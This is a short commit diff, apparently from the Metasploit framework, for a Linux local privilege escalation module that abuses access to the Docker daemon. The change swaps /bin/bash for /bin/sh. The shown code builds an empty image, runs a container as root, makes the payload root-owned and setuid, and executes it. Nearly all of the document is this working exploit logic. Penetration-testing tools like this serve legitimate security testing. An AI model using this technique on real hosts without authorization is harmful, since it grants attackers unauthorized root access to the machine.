Remove bash dependency. Oops.

Author: forzoni

modules/exploits/linux/local/docker_daemon_privilege_escalation.rb

@@ -65,7 +65,7 @@ def shell_script(exploit_path)
     %Q{
       IMG=`echo "FROM scratch\\nCMD a" | docker build -q - | cut -d ":" -f2`
       EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
-      docker run #{dep_options} $IMG /bin/bash -c "$EXPLOIT"
+      docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
       docker rmi $IMG
       #{exploit_path}
     }.strip.split("\n").map(&:strip).join(';')